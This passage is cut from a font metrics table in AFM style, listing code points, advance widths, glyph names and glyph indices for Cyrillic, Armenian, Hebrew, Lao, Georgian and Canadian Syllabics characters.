U 1237 ; WX 995 ; N uni04D5 ; G 1130
U 1238 ; WX 632 ; N uni04D6 ; G 1131
U 1239 ; WX 615 ; N uni04D7 ; G 1132
U 1240 ; WX 787 ; N uni04D8 ; G 1133
U 1241 ; WX 615 ; N uni04D9 ; G 1134
U 1242 ; WX 787 ; N uni04DA ; G 1135
U 1243 ; WX 615 ; N uni04DB ; G 1136
U 1244 ; WX 1077 ; N uni04DC ; G 1137
U 1245 ; WX 901 ; N uni04DD ; G 1138
U 1246 ; WX 641 ; N uni04DE ; G 1139
U 1247 ; WX 532 ; N uni04DF ; G 1140
U 1248 ; WX 666 ; N uni04E0 ; G 1141
U 1249 ; WX 578 ; N uni04E1 ; G 1142
U 1250 ; WX 748 ; N uni04E2 ; G 1143
U 1251 ; WX 650 ; N uni04E3 ; G 1144
U 1252 ; WX 748 ; N uni04E4 ; G 1145
U 1253 ; WX 650 ; N uni04E5 ; G 1146
U 1254 ; WX 787 ; N uni04E6 ; G 1147
U 1255 ; WX 612 ; N uni04E7 ; G 1148
U 1256 ; WX 787 ; N uni04E8 ; G 1149
U 1257 ; WX 612 ; N uni04E9 ; G 1150
U 1258 ; WX 787 ; N uni04EA ; G 1151
U 1259 ; WX 612 ; N uni04EB ; G 1152
U 1260 ; WX 698 ; N uni04EC ; G 1153
U 1261 ; WX 549 ; N uni04ED ; G 1154
U 1262 ; WX 609 ; N uni04EE ; G 1155
U 1263 ; WX 592 ; N uni04EF ; G 1156
U 1264 ; WX 609 ; N uni04F0 ; G 1157
U 1265 ; WX 592 ; N uni04F1 ; G 1158
U 1266 ; WX 609 ; N uni04F2 ; G 1159
U 1267 ; WX 592 ; N uni04F3 ; G 1160
U 1268 ; WX 686 ; N uni04F4 ; G 1161
U 1269 ; WX 591 ; N uni04F5 ; G 1162
U 1270 ; WX 557 ; N uni04F6 ; G 1163
U 1271 ; WX 491 ; N uni04F7 ; G 1164
U 1272 ; WX 818 ; N uni04F8 ; G 1165
U 1273 ; WX 790 ; N uni04F9 ; G 1166
U 1274 ; WX 675 ; N uni04FA ; G 1167
U 1275 ; WX 556 ; N uni04FB ; G 1168
U 1276 ; WX 685 ; N uni04FC ; G 1169
U 1277 ; WX 592 ; N uni04FD ; G 1170
U 1278 ; WX 685 ; N uni04FE ; G 1171
U 1279 ; WX 592 ; N uni04FF ; G 1172
U 1280 ; WX 686 ; N uni0500 ; G 1173
U 1281 ; WX 589 ; N uni0501 ; G 1174
U 1282 ; WX 1006 ; N uni0502 ; G 1175
U 1283 ; WX 897 ; N uni0503 ; G 1176
U 1284 ; WX 975 ; N uni0504 ; G 1177
U 1285 ; WX 869 ; N uni0505 ; G 1178
U 1286 ; WX 679 ; N uni0506 ; G 1179
U 1287 ; WX 588 ; N uni0507 ; G 1180
U 1288 ; WX 1072 ; N uni0508 ; G 1181
U 1289 ; WX 957 ; N uni0509 ; G 1182
U 1290 ; WX 1113 ; N uni050A ; G 1183
U 1291 ; WX 967 ; N uni050B ; G 1184
U 1292 ; WX 775 ; N uni050C ; G 1185
U 1293 ; WX 660 ; N uni050D ; G 1186
U 1294 ; WX 773 ; N uni050E ; G 1187
U 1295 ; WX 711 ; N uni050F ; G 1188
U 1296 ; WX 614 ; N uni0510 ; G 1189
U 1297 ; WX 541 ; N uni0511 ; G 1190
U 1298 ; WX 752 ; N uni0512 ; G 1191
U 1299 ; WX 639 ; N uni0513 ; G 1192
U 1300 ; WX 1195 ; N uni0514 ; G 1193
U 1301 ; WX 997 ; N uni0515 ; G 1194
U 1302 ; WX 900 ; N uni0516 ; G 1195
U 1303 ; WX 867 ; N uni0517 ; G 1196
U 1304 ; WX 1031 ; N uni0518 ; G 1197
U 1305 ; WX 989 ; N uni0519 ; G 1198
U 1306 ; WX 787 ; N uni051A ; G 1199
U 1307 ; WX 635 ; N uni051B ; G 1200
U 1308 ; WX 989 ; N uni051C ; G 1201
U 1309 ; WX 818 ; N uni051D ; G 1202
U 1310 ; WX 710 ; N uni051E ; G 1203
U 1311 ; WX 604 ; N uni051F ; G 1204
U 1312 ; WX 1113 ; N uni0520 ; G 1205
U 1313 ; WX 942 ; N uni0521 ; G 1206
U 1314 ; WX 1113 ; N uni0522 ; G 1207
U 1315 ; WX 949 ; N uni0523 ; G 1208
U 1316 ; WX 793 ; N uni0524 ; G 1209
U 1317 ; WX 683 ; N uni0525 ; G 1210
U 1329 ; WX 766 ; N uni0531 ; G 1211
U 1330 ; WX 732 ; N uni0532 ; G 1212
U 1331 ; WX 753 ; N uni0533 ; G 1213
U 1332 ; WX 753 ; N uni0534 ; G 1214
U 1333 ; WX 732 ; N uni0535 ; G 1215
U 1334 ; WX 772 ; N uni0536 ; G 1216
U 1335 ; WX 640 ; N uni0537 ; G 1217
U 1336 ; WX 732 ; N uni0538 ; G 1218
U 1337 ; WX 859 ; N uni0539 ; G 1219
U 1338 ; WX 753 ; N uni053A ; G 1220
U 1339 ; WX 691 ; N uni053B ; G 1221
U 1340 ; WX 533 ; N uni053C ; G 1222
U 1341 ; WX 922 ; N uni053D ; G 1223
U 1342 ; WX 863 ; N uni053E ; G 1224
U 1343 ; WX 732 ; N uni053F ; G 1225
U 1344 ; WX 716 ; N uni0540 ; G 1226
U 1345 ; WX 766 ; N uni0541 ; G 1227
U 1346 ; WX 753 ; N uni0542 ; G 1228
U 1347 ; WX 767 ; N uni0543 ; G 1229
U 1348 ; WX 792 ; N uni0544 ; G 1230
U 1349 ; WX 728 ; N uni0545 ; G 1231
U 1350 ; WX 729 ; N uni0546 ; G 1232
U 1351 ; WX 757 ; N uni0547 ; G 1233
U 1352 ; WX 732 ; N uni0548 ; G 1234
U 1353 ; WX 713 ; N uni0549 ; G 1235
U 1354 ; WX 800 ; N uni054A ; G 1236
U 1355 ; WX 768 ; N uni054B ; G 1237
U 1356 ; WX 792 ; N uni054C ; G 1238
U 1357 ; WX 732 ; N uni054D ; G 1239
U 1358 ; WX 753 ; N uni054E ; G 1240
U 1359 ; WX 705 ; N uni054F ; G 1241
U 1360 ; WX 694 ; N uni0550 ; G 1242
U 1361 ; WX 744 ; N uni0551 ; G 1243
U 1362 ; WX 538 ; N uni0552 ; G 1244
U 1363 ; WX 811 ; N uni0553 ; G 1245
U 1364 ; WX 757 ; N uni0554 ; G 1246
U 1365 ; WX 787 ; N uni0555 ; G 1247
U 1366 ; WX 790 ; N uni0556 ; G 1248
U 1369 ; WX 307 ; N uni0559 ; G 1249
U 1370 ; WX 318 ; N uni055A ; G 1250
U 1371 ; WX 234 ; N uni055B ; G 1251
U 1372 ; WX 361 ; N uni055C ; G 1252
U 1373 ; WX 238 ; N uni055D ; G 1253
U 1374 ; WX 405 ; N uni055E ; G 1254
U 1375 ; WX 500 ; N uni055F ; G 1255
U 1377 ; WX 974 ; N uni0561 ; G 1256
U 1378 ; WX 634 ; N uni0562 ; G 1257
U 1379 ; WX 658 ; N uni0563 ; G 1258
U 1380 ; WX 663 ; N uni0564 ; G 1259
U 1381 ; WX 634 ; N uni0565 ; G 1260
U 1382 ; WX 635 ; N uni0566 ; G 1261
U 1383 ; WX 515 ; N uni0567 ; G 1262
U 1384 ; WX 634 ; N uni0568 ; G 1263
U 1385 ; WX 738 ; N uni0569 ; G 1264
U 1386 ; WX 658 ; N uni056A ; G 1265
U 1387 ; WX 634 ; N uni056B ; G 1266
U 1388 ; WX 271 ; N uni056C ; G 1267
U 1389 ; WX 980 ; N uni056D ; G 1268
U 1390 ; WX 623 ; N uni056E ; G 1269
U 1391 ; WX 634 ; N uni056F ; G 1270
U 1392 ; WX 634 ; N uni0570 ; G 1271
U 1393 ; WX 608 ; N uni0571 ; G 1272
U 1394 ; WX 634 ; N uni0572 ; G 1273
U 1395 ; WX 629 ; N uni0573 ; G 1274
U 1396 ; WX 634 ; N uni0574 ; G 1275
U 1397 ; WX 278 ; N uni0575 ; G 1276
U 1398 ; WX 634 ; N uni0576 ; G 1277
U 1399 ; WX 499 ; N uni0577 ; G 1278
U 1400 ; WX 634 ; N uni0578 ; G 1279
U 1401 ; WX 404 ; N uni0579 ; G 1280
U 1402 ; WX 974 ; N uni057A ; G 1281
U 1403 ; WX 560 ; N uni057B ; G 1282
U 1404 ; WX 648 ; N uni057C ; G 1283
U 1405 ; WX 634 ; N uni057D ; G 1284
U 1406 ; WX 634 ; N uni057E ; G 1285
U 1407 ; WX 974 ; N uni057F ; G 1286
U 1408 ; WX 634 ; N uni0580 ; G 1287
U 1409 ; WX 635 ; N uni0581 ; G 1288
U 1410 ; WX 435 ; N uni0582 ; G 1289
U 1411 ; WX 974 ; N uni0583 ; G 1290
U 1412 ; WX 636 ; N uni0584 ; G 1291
U 1413 ; WX 612 ; N uni0585 ; G 1292
U 1414 ; WX 805 ; N uni0586 ; G 1293
U 1415 ; WX 812 ; N uni0587 ; G 1294
U 1417 ; WX 337 ; N uni0589 ; G 1295
U 1418 ; WX 361 ; N uni058A ; G 1296
U 1456 ; WX 0 ; N uni05B0 ; G 1297
U 1457 ; WX 0 ; N uni05B1 ; G 1298
U 1458 ; WX 0 ; N uni05B2 ; G 1299
U 1459 ; WX 0 ; N uni05B3 ; G 1300
U 1460 ; WX 0 ; N uni05B4 ; G 1301
U 1461 ; WX 0 ; N uni05B5 ; G 1302
U 1462 ; WX 0 ; N uni05B6 ; G 1303
U 1463 ; WX 0 ; N uni05B7 ; G 1304
U 1464 ; WX 0 ; N uni05B8 ; G 1305
U 1465 ; WX 0 ; N uni05B9 ; G 1306
U 1466 ; WX 0 ; N uni05BA ; G 1307
U 1467 ; WX 0 ; N uni05BB ; G 1308
U 1468 ; WX 0 ; N uni05BC ; G 1309
U 1469 ; WX 0 ; N uni05BD ; G 1310
U 1470 ; WX 361 ; N uni05BE ; G 1311
U 1471 ; WX 0 ; N uni05BF ; G 1312
U 1472 ; WX 295 ; N uni05C0 ; G 1313
U 1473 ; WX 0 ; N uni05C1 ; G 1314
U 1474 ; WX 0 ; N uni05C2 ; G 1315
U 1475 ; WX 295 ; N uni05C3 ; G 1316
U 1478 ; WX 456 ; N uni05C6 ; G 1317
U 1479 ; WX 0 ; N uni05C7 ; G 1318
U 1488 ; WX 668 ; N uni05D0 ; G 1319
U 1489 ; WX 578 ; N uni05D1 ; G 1320
U 1490 ; WX 412 ; N uni05D2 ; G 1321
U 1491 ; WX 546 ; N uni05D3 ; G 1322
U 1492 ; WX 653 ; N uni05D4 ; G 1323
U 1493 ; WX 272 ; N uni05D5 ; G 1324
U 1494 ; WX 346 ; N uni05D6 ; G 1325
U 1495 ; WX 653 ; N uni05D7 ; G 1326
U 1496 ; WX 648 ; N uni05D8 ; G 1327
U 1497 ; WX 224 ; N uni05D9 ; G 1328
U 1498 ; WX 537 ; N uni05DA ; G 1329
U 1499 ; WX 529 ; N uni05DB ; G 1330
U 1500 ; WX 568 ; N uni05DC ; G 1331
U 1501 ; WX 664 ; N uni05DD ; G 1332
U 1502 ; WX 679 ; N uni05DE ; G 1333
U 1503 ; WX 272 ; N uni05DF ; G 1334
U 1504 ; WX 400 ; N uni05E0 ; G 1335
U 1505 ; WX 649 ; N uni05E1 ; G 1336
U 1506 ; WX 626 ; N uni05E2 ; G 1337
U 1507 ; WX 640 ; N uni05E3 ; G 1338
U 1508 ; WX 625 ; N uni05E4 ; G 1339
U 1509 ; WX 540 ; N uni05E5 ; G 1340
U 1510 ; WX 593 ; N uni05E6 ; G 1341
U 1511 ; WX 709 ; N uni05E7 ; G 1342
U 1512 ; WX 564 ; N uni05E8 ; G 1343
U 1513 ; WX 708 ; N uni05E9 ; G 1344
U 1514 ; WX 657 ; N uni05EA ; G 1345
U 1520 ; WX 471 ; N uni05F0 ; G 1346
U 1521 ; WX 454 ; N uni05F1 ; G 1347
U 1522 ; WX 471 ; N uni05F2 ; G 1348
U 1523 ; WX 416 ; N uni05F3 ; G 1349
U 1524 ; WX 645 ; N uni05F4 ; G 1350
U 3647 ; WX 636 ; N uni0E3F ; G 1351
U 3713 ; WX 670 ; N uni0E81 ; G 1352
U 3714 ; WX 684 ; N uni0E82 ; G 1353
U 3716 ; WX 688 ; N uni0E84 ; G 1354
U 3719 ; WX 482 ; N uni0E87 ; G 1355
U 3720 ; WX 628 ; N uni0E88 ; G 1356
U 3722 ; WX 684 ; N uni0E8A ; G 1357
U 3725 ; WX 688 ; N uni0E8D ; G 1358
U 3732 ; WX 642 ; N uni0E94 ; G 1359
U 3733 ; WX 642 ; N uni0E95 ; G 1360
U 3734 ; WX 672 ; N uni0E96 ; G 1361
U 3735 ; WX 655 ; N uni0E97 ; G 1362
U 3737 ; WX 641 ; N uni0E99 ; G 1363
U 3738 ; WX 592 ; N uni0E9A ; G 1364
U 3739 ; WX 592 ; N uni0E9B ; G 1365
U 3740 ; WX 745 ; N uni0E9C ; G 1366
U 3741 ; WX 767 ; N uni0E9D ; G 1367
U 3742 ; WX 687 ; N uni0E9E ; G 1368
U 3743 ; WX 687 ; N uni0E9F ; G 1369
U 3745 ; WX 702 ; N uni0EA1 ; G 1370
U 3746 ; WX 688 ; N uni0EA2 ; G 1371
U 3747 ; WX 684 ; N uni0EA3 ; G 1372
U 3749 ; WX 649 ; N uni0EA5 ; G 1373
U 3751 ; WX 632 ; N uni0EA7 ; G 1374
U 3754 ; WX 703 ; N uni0EAA ; G 1375
U 3755 ; WX 819 ; N uni0EAB ; G 1376
U 3757 ; WX 633 ; N uni0EAD ; G 1377
U 3758 ; WX 684 ; N uni0EAE ; G 1378
U 3759 ; WX 788 ; N uni0EAF ; G 1379
U 3760 ; WX 632 ; N uni0EB0 ; G 1380
U 3761 ; WX 0 ; N uni0EB1 ; G 1381
U 3762 ; WX 539 ; N uni0EB2 ; G 1382
U 3763 ; WX 539 ; N uni0EB3 ; G 1383
U 3764 ; WX 0 ; N uni0EB4 ; G 1384
U 3765 ; WX 0 ; N uni0EB5 ; G 1385
U 3766 ; WX 0 ; N uni0EB6 ; G 1386
U 3767 ; WX 0 ; N uni0EB7 ; G 1387
U 3768 ; WX 0 ; N uni0EB8 ; G 1388
U 3769 ; WX 0 ; N uni0EB9 ; G 1389
U 3771 ; WX 0 ; N uni0EBB ; G 1390
U 3772 ; WX 0 ; N uni0EBC ; G 1391
U 3773 ; WX 663 ; N uni0EBD ; G 1392
U 3776 ; WX 360 ; N uni0EC0 ; G 1393
U 3777 ; WX 679 ; N uni0EC1 ; G 1394
U 3778 ; WX 460 ; N uni0EC2 ; G 1395
U 3779 ; WX 547 ; N uni0EC3 ; G 1396
U 3780 ; WX 491 ; N uni0EC4 ; G 1397
U 3782 ; WX 674 ; N uni0EC6 ; G 1398
U 3784 ; WX 0 ; N uni0EC8 ; G 1399
U 3785 ; WX 0 ; N uni0EC9 ; G 1400
U 3786 ; WX 0 ; N uni0ECA ; G 1401
U 3787 ; WX 0 ; N uni0ECB ; G 1402
U 3788 ; WX 0 ; N uni0ECC ; G 1403
U 3789 ; WX 0 ; N uni0ECD ; G 1404
U 3792 ; WX 636 ; N uni0ED0 ; G 1405
U 3793 ; WX 641 ; N uni0ED1 ; G 1406
U 3794 ; WX 641 ; N uni0ED2 ; G 1407
U 3795 ; WX 670 ; N uni0ED3 ; G 1408
U 3796 ; WX 625 ; N uni0ED4 ; G 1409
U 3797 ; WX 625 ; N uni0ED5 ; G 1410
U 3798 ; WX 703 ; N uni0ED6 ; G 1411
U 3799 ; WX 670 ; N uni0ED7 ; G 1412
U 3800 ; WX 674 ; N uni0ED8 ; G 1413
U 3801 ; WX 677 ; N uni0ED9 ; G 1414
U 3804 ; WX 1028 ; N uni0EDC ; G 1415
U 3805 ; WX 1028 ; N uni0EDD ; G 1416
U 4256 ; WX 874 ; N uni10A0 ; G 1417
U 4257 ; WX 733 ; N uni10A1 ; G 1418
U 4258 ; WX 679 ; N uni10A2 ; G 1419
U 4259 ; WX 834 ; N uni10A3 ; G 1420
U 4260 ; WX 615 ; N uni10A4 ; G 1421
U 4261 ; WX 768 ; N uni10A5 ; G 1422
U 4262 ; WX 753 ; N uni10A6 ; G 1423
U 4263 ; WX 914 ; N uni10A7 ; G 1424
U 4264 ; WX 453 ; N uni10A8 ; G 1425
U 4265 ; WX 620 ; N uni10A9 ; G 1426
U 4266 ; WX 843 ; N uni10AA ; G 1427
U 4267 ; WX 882 ; N uni10AB ; G 1428
U 4268 ; WX 625 ; N uni10AC ; G 1429
U 4269 ; WX 854 ; N uni10AD ; G 1430
U 4270 ; WX 781 ; N uni10AE ; G 1431
U 4271 ; WX 629 ; N uni10AF ; G 1432
U 4272 ; WX 912 ; N uni10B0 ; G 1433
U 4273 ; WX 621 ; N uni10B1 ; G 1434
U 4274 ; WX 620 ; N uni10B2 ; G 1435
U 4275 ; WX 854 ; N uni10B3 ; G 1436
U 4276 ; WX 866 ; N uni10B4 ; G 1437
U 4277 ; WX 724 ; N uni10B5 ; G 1438
U 4278 ; WX 630 ; N uni10B6 ; G 1439
U 4279 ; WX 621 ; N uni10B7 ; G 1440
U 4280 ; WX 625 ; N uni10B8 ; G 1441
U 4281 ; WX 620 ; N uni10B9 ; G 1442
U 4282 ; WX 818 ; N uni10BA ; G 1443
U 4283 ; WX 874 ; N uni10BB ; G 1444
U 4284 ; WX 615 ; N uni10BC ; G 1445
U 4285 ; WX 623 ; N uni10BD ; G 1446
U 4286 ; WX 625 ; N uni10BE ; G 1447
U 4287 ; WX 725 ; N uni10BF ; G 1448
U 4288 ; WX 844 ; N uni10C0 ; G 1449
U 4289 ; WX 596 ; N uni10C1 ; G 1450
U 4290 ; WX 688 ; N uni10C2 ; G 1451
U 4291 ; WX 596 ; N uni10C3 ; G 1452
U 4292 ; WX 594 ; N uni10C4 ; G 1453
U 4293 ; WX 738 ; N uni10C5 ; G 1454
U 4304 ; WX 508 ; N uni10D0 ; G 1455
U 4305 ; WX 518 ; N uni10D1 ; G 1456
U 4306 ; WX 581 ; N uni10D2 ; G 1457
U 4307 ; WX 818 ; N uni10D3 ; G 1458
U 4308 ; WX 508 ; N uni10D4 ; G 1459
U 4309 ; WX 513 ; N uni10D5 ; G 1460
U 4310 ; WX 500 ; N uni10D6 ; G 1461
U 4311 ; WX 801 ; N uni10D7 ; G 1462
U 4312 ; WX 518 ; N uni10D8 ; G 1463
U 4313 ; WX 510 ; N uni10D9 ; G 1464
U 4314 ; WX 1064 ; N uni10DA ; G 1465
U 4315 ; WX 522 ; N uni10DB ; G 1466
U 4316 ; WX 522 ; N uni10DC ; G 1467
U 4317 ; WX 786 ; N uni10DD ; G 1468
U 4318 ; WX 508 ; N uni10DE ; G 1469
U 4319 ; WX 518 ; N uni10DF ; G 1470
U 4320 ; WX 796 ; N uni10E0 ; G 1471
U 4321 ; WX 522 ; N uni10E1 ; G 1472
U 4322 ; WX 654 ; N uni10E2 ; G 1473
U 4323 ; WX 522 ; N uni10E3 ; G 1474
U 4324 ; WX 825 ; N uni10E4 ; G 1475
U 4325 ; WX 513 ; N uni10E5 ; G 1476
U 4326 ; WX 786 ; N uni10E6 ; G 1477
U 4327 ; WX 518 ; N uni10E7 ; G 1478
U 4328 ; WX 518 ; N uni10E8 ; G 1479
U 4329 ; WX 522 ; N uni10E9 ; G 1480
U 4330 ; WX 571 ; N uni10EA ; G 1481
U 4331 ; WX 522 ; N uni10EB ; G 1482
U 4332 ; WX 518 ; N uni10EC ; G 1483
U 4333 ; WX 520 ; N uni10ED ; G 1484
U 4334 ; WX 522 ; N uni10EE ; G 1485
U 4335 ; WX 454 ; N uni10EF ; G 1486
U 4336 ; WX 508 ; N uni10F0 ; G 1487
U 4337 ; WX 518 ; N uni10F1 ; G 1488
U 4338 ; WX 508 ; N uni10F2 ; G 1489
U 4339 ; WX 508 ; N uni10F3 ; G 1490
U 4340 ; WX 518 ; N uni10F4 ; G 1491
U 4341 ; WX 554 ; N uni10F5 ; G 1492
U 4342 ; WX 828 ; N uni10F6 ; G 1493
U 4343 ; WX 552 ; N uni10F7 ; G 1494
U 4344 ; WX 508 ; N uni10F8 ; G 1495
U 4345 ; WX 571 ; N uni10F9 ; G 1496
U 4346 ; WX 508 ; N uni10FA ; G 1497
U 4347 ; WX 448 ; N uni10FB ; G 1498
U 4348 ; WX 324 ; N uni10FC ; G 1499
U 5121 ; WX 684 ; N uni1401 ; G 1500
U 5122 ; WX 684 ; N uni1402 ; G 1501
U 5123 ; WX 684 ; N uni1403 ; G 1502
U 5124 ; WX 684 ; N uni1404 ; G 1503
U 5125 ; WX 769 ; N uni1405 ; G 1504
U 5126 ; WX 769 ; N uni1406 ; G 1505
U 5127 ; WX 769 ; N uni1407 ; G 1506
U 5129 ; WX 769 ; N uni1409 ; G 1507
U 5130 ; WX 769 ; N uni140A ; G 1508
U 5131 ; WX 769 ; N uni140B ; G 1509
U 5132 ; WX 835 ; N uni140C ; G 1510
U 5133 ; WX 834 ; N uni140D ; G 1511
U 5134 ; WX 835 ; N uni140E ; G 1512
U 5135 ; WX 834 ; N uni140F ; G 1513
U 5136 ; WX 835 ; N uni1410 ; G 1514
U 5137 ; WX 834 ; N uni1411 ; G 1515
U 5138 ; WX 967 ; N uni1412 ; G 1516
U 5139 ; WX 1007 ; N uni1413 ; G 1517
U 5140 ; WX 967 ; N uni1414 ; G 1518
U 5141 ; WX 1007 ; N uni1415 ; G 1519
U 5142 ; WX 769 ; N uni1416 ; G 1520
U 5143 ; WX 967 ; N uni1417 ; G 1521
U 5144 ; WX 1007 ; N uni1418 ; G 1522
U 5145 ; WX 967 ; N uni1419 ; G 1523
U 5146 ; WX 1007 ; N uni141A ; G 1524
U 5147 ; WX 769 ; N uni141B ; G 1525
U 5149 ; WX 256 ; N uni141D ; G 1526
U 5150 ; WX 543 ; N uni141E ; G 1527
U 5151 ; WX 423 ; N uni141F ; G 1528
U 5152 ; WX 423 ; N uni1420 ; G 1529
U 5153 ; WX 389 ; N uni1421 ; G 1530
U 5154 ; WX 389 ; N uni1422 ; G 1531
U 5155 ; WX 393 ; N uni1423 ; G 1532
U 5156 ; WX 389 ; N uni1424 ; G 1533
U 5157 ; WX 466 ; N uni1425 ; G 1534
U 5158 ; WX 385 ; N uni1426 ; G 1535
U 5159 ; WX 256 ; N uni1427 ; G 1536
U 5160 ; WX 389 ; N uni1428 ; G 1537
U 5161 ; WX 389 ; N uni1429 ; G 1538
U 5162 ; WX 389 ; N uni142A ; G 1539
U 5163 ; WX 1090 ; N uni142B ; G 1540
U 5164 ; WX 909 ; N uni142C ; G 1541
U 5165 ; WX 953 ; N uni142D ; G 1542
U 5166 ; WX 1117 ; N uni142E ; G 1543
U 5167 ; WX 684 ; N uni142F ; G 1544
U 5168 ; WX 684 ; N uni1430 ; G 1545
U 5169 ; WX 684 ; N uni1431 ; G 1546
U 5170 ; WX 684 ; N uni1432 ; G 1547
U 5171 ; WX 729 ; N uni1433 ; G 1548
U 5172 ; WX 729 ; N uni1434 ; G 1549
U 5173 ; WX 729 ; N uni1435 ; G 1550
U 5175 ; WX 729 ; N uni1437 ; G 1551
U 5176 ; WX 729 ; N uni1438 ; G 1552
U 5177 ; WX 729 ; N uni1439 ; G 1553
U 5178 ; WX 835 ; N uni143A ; G 1554
U 5179 ; WX 684 ; N uni143B ; G 1555
U 5180 ; WX 835 ; N uni143C ; G 1556
U 5181 ; WX 834 ; N uni143D ; G 1557
U 5182 ; WX 835 ; N uni143E ; G 1558
U 5183 ; WX 834 ; N uni143F ; G 1559
U 5184 ; WX 967 ; N uni1440 ; G 1560
U 5185 ; WX 1007 ; N uni1441 ; G 1561
U 5186 ; WX 967 ; N uni1442 ; G 1562
U 5187 ; WX 1007 ; N uni1443 ; G 1563
U 5188 ; WX 967 ; N uni1444 ; G 1564
U 5189 ; WX 1007 ; N uni1445 ; G 1565
U 5190 ; WX 967 ; N uni1446 ; G 1566
U 5191 ; WX 1007 ; N uni1447 ; G 1567
U 5192 ; WX 729 ; N uni1448 ; G 1568
U 5193 ; WX 508 ; N uni1449 ; G 1569
U 5194 ; WX 192 ; N uni144A ; G 1570
U 5196 ; WX 732 ; N uni144C ; G 1571
U 5197 ; WX 732 ; N uni144D ; G 1572
U 5198 ; WX 732 ; N uni144E ; G 1573
U 5199 ; WX 732 ; N uni144F ; G 1574
U 5200 ; WX 730 ; N uni1450 ; G 1575
U 5201 ; WX 730 ; N uni1451 ; G 1576
U 5202 ; WX 730 ; N uni1452 ; G 1577
U 5204 ; WX 730 ; N uni1454 ; G 1578
U 5205 ; WX 730 ; N uni1455 ; G 1579
U 5206 ; WX 730 ; N uni1456 ; G 1580
U 5207 ; WX 921 ; N uni1457 ; G 1581
U 5208 ; WX 889 ; N uni1458 ; G 1582
U 5209 ; WX 921 ; N uni1459 ; G 1583
U 5210 ; WX 889 ; N uni145A ; G 1584
U 5211 ; WX 921 ; N uni145B ; G 1585
U 5212 ; WX 889 ; N uni145C ; G 1586
U 5213 ; WX 928 ; N uni145D ; G 1587
U 5214 ; WX 900 ; N uni145E ; G 1588
U 5215 ; WX 928 ; N uni145F ; G 1589
U 5216 ; WX 900 ; N uni1460 ; G 1590
U 5217 ; WX 947 ; N uni1461 ; G 1591
U 5218 ; WX 900 ; N uni1462 ; G 1592
U 5219 ; WX 947 ; N uni1463 ; G 1593
U 5220 ; WX 900 ; N uni1464 ; G 1594
U 5221 ; WX 947 ; N uni1465 ; G 1595
U 5222 ; WX 434 ; N uni1466 ; G 1596
U 5223 ; WX 877 ; N uni1467 ; G 1597
U 5224 ; WX 877 ; N uni1468 ; G 1598
U 5225 ; WX 866 ; N uni1469 ; G 1599
U 5226 ; WX 890 ; N uni146A ; G 1600
U 5227 ; WX 628 ; N uni146B ; G 1601
U 5228 ; WX 628 ; N uni146C ; G 1602
U 5229 ; WX 628 ; N uni146D ; G 1603
U 5230 ; WX 628 ; N uni146E ; G 1604
U 5231 ; WX 628 ; N uni146F ; G 1605
U 5232 ; WX 628 ; N uni1470 ; G 1606
U 5233 ; WX 628 ; N uni1471 ; G 1607
U 5234 ; WX 628 ; N uni1472 ; G 1608
U 5235 ; WX 628 ; N uni1473 ; G 1609
U 5236 ; WX 860 ; N uni1474 ; G 1610
U 5237 ; WX 771 ; N uni1475 ; G 1611
U 5238 ; WX 815 ; N uni1476 ; G 1612
U 5239 ; WX 816 ; N uni1477 ; G 1613
U 5240 ; WX 815 ; N uni1478 ; G 1614
U 5241 ; WX 816 ; N uni1479 ; G 1615
U 5242 ; WX 860 ; N uni147A ; G 1616
U 5243 ; WX 771 ; N uni147B ; G 1617
U 5244 ; WX 860 ; N uni147C ; G 1618
U 5245 ; WX 771 ; N uni147D ; G 1619
U 5246 ; WX 815 ; N uni147E ; G 1620
U 5247 ; WX 816 ; N uni147F ; G 1621
U 5248 ; WX 815 ; N uni1480 ; G 1622
U 5249 ; WX 816 ; N uni1481 ; G 1623
U 5250 ; WX 815 ; N uni1482 ; G 1624
U 5251 ; WX 407 ; N uni1483 ; G 1625
U 5252 ; WX 407 ; N uni1484 ; G 1626
U 5253 ; WX 750 ; N uni1485 ; G 1627
U 5254 ; WX 775 ; N uni1486 ; G 1628
U 5255 ; WX 750 ; N uni1487 ; G 1629
U 5256 ; WX 775 ; N uni1488 ; G 1630
U 5257 ; WX 628 ; N uni1489 ; G 1631
U 5258 ; WX 628 ; N uni148A ; G 1632
U 5259 ; WX 628 ; N uni148B ; G 1633
U 5260 ; WX 628 ; N uni148C ; G 1634
U 5261 ; WX 628 ; N uni148D ; G 1635
U 5262 ; WX 628 ; N uni148E ; G 1636
U 5263 ; WX 628 ; N uni148F ; G 1637
U 5264 ; WX 628 ; N uni1490 ; G 1638
U 5265 ; WX 628 ; N uni1491 ; G 1639
U 5266 ; WX 860 ; N uni1492 ; G 1640
U 5267 ; WX 771 ; N uni1493 ; G 1641
U 5268 ; WX 815 ; N uni1494 ; G 1642
U 5269 ; WX 816 ; N uni1495 ; G 1643
U 5270 ; WX 815 ; N uni1496 ; G 1644
U 5271 ; WX 816 ; N uni1497 ; G 1645
U 5272 ; WX 860 ; N uni1498 ; G 1646
U 5273 ; WX 771 ; N uni1499 ; G 1647
U 5274 ; WX 860 ; N uni149A ; G 1648
U 5275 ; WX 771 ; N uni149B ; G 1649
U 5276 ; WX 815 ; N uni149C ; G 1650
U 5277 ; WX 816 ; N uni149D ; G 1651
U 5278 ; WX 815 ; N uni149E ; G 1652
U 5279 ; WX 816 ; N uni149F ; G 1653
U 5280 ; WX 815 ; N uni14A0 ; G 1654
U 5281 ; WX 435 ; N uni14A1 ; G 1655
U 5282 ; WX 435 ; N uni14A2 ; G 1656
U 5283 ; WX 610 ; N uni14A3 ; G 1657
U 5284 ; WX 557 ; N uni14A4 ; G 1658
U 5285 ; WX 557 ; N uni14A5 ; G 1659
U 5286 ; WX 557 ; N uni14A6 ; G 1660
U 5287 ; WX 610 ; N uni14A7 ; G 1661
U 5288 ; WX 610 ; N uni14A8 ; G 1662
U 5289 ; WX 610 ; N uni14A9 ; G 1663
U 5290 ; WX 557 ; N uni14AA ; G 1664
U 5291 ; WX 557 ; N uni14AB ; G 1665
U 5292 ; WX 749 ; N uni14AC ; G 1666
U 5293 ; WX 769 ; N uni14AD ; G 1667
U 5294 ; WX 746 ; N uni14AE ; G 1668
U 5295 ; WX 764 ; N uni14AF ; G 1669
U 5296 ; WX 746 ; N uni14B0 ; G 1670
U 5297 ; WX 764 ; N uni14B1 ; G 1671
U 5298 ; WX 749 ; N uni14B2 ; G 1672
U 5299 ; WX 769 ; N uni14B3 ; G 1673
U 5300 ; WX 749 ; N uni14B4 ; G 1674
U 5301 ; WX 769 ; N uni14B5 ; G 1675
U 5302 ; WX 746 ; N uni14B6 ; G 1676
U 5303 ; WX 764 ; N uni14B7 ; G 1677
U 5304 ; WX 746 ; N uni14B8 ; G 1678
